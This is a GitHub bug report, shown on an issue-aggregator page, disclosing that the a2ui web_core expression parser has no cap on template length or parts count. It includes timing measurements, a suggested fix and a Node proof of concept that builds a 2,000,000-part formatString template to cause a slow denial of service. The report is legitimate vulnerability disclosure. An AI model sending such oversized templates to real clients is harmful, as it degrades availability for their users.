a2ui-project / a2ui-project/a2ui

[BUG]: Expression parser has no template length or parts cap (multi-second parses per binding)

Ouverte
#2,389 1 commentaire 0 réactions 1 personne assignée Réclamée par @Varun-S10 Voir sur GitHub
P2 status: first-line-handled status: needs review type: bug
Langage dominant
TypeScript
Étoiles
16.4k
Forks
1.3k
Merge moyen
2 j 13 h
PR mergées (30 j)
134

Description

# Expression parser has no template length or parts cap (multi-second parses per binding)

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

`ExpressionParser` bounds only recursion *depth* (`MAX_DEPTH = 10`); `parse()` accepts an input of any length and emits any number of `${…}` parts. `formatString` invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to `{call:'formatString', args:{value: '<${x} repeated millions of times>'}}` performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.

## Affected code

- `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — depth cap only (`MAX_DEPTH = 10`; npm dist `…/expression_parser.js:26,31-69`); no input-length or parts-count limit
- `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts` — `new ExpressionParser().parse(template)` on the agent-supplied `value`, unbounded (npm dist `…/basic_functions.js:210-211`)

## Observed behavior (measured)

Published package, a TextField `label` bound to `formatString` with a template of N interpolations:

| template | parse cost at bind |
|---|---|
| `hello ${x}` (control) | ~0 ms |
| 2,000,000 `${x}` parts | 978 ms |

Re-fires on every subsequent data-model change of bound paths.

## Impact

One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.

## Suggested remediation

- Cap template length and parts count in `ExpressionParser.parse` (reject beyond a threshold).
- Additionally bound `formatString`'s `value` argument length in its Zod schema.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f25.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

function setup(template) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
] } },
]);
return processor.model.getSurface('poc');
}
function timed(template) {
const surface = setup(template);
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const t0 = process.hrtime.bigint();
const sub = binder.subscribe(() => {});
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
```

Guide de contribution

Ouvrir le guide de contribution

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.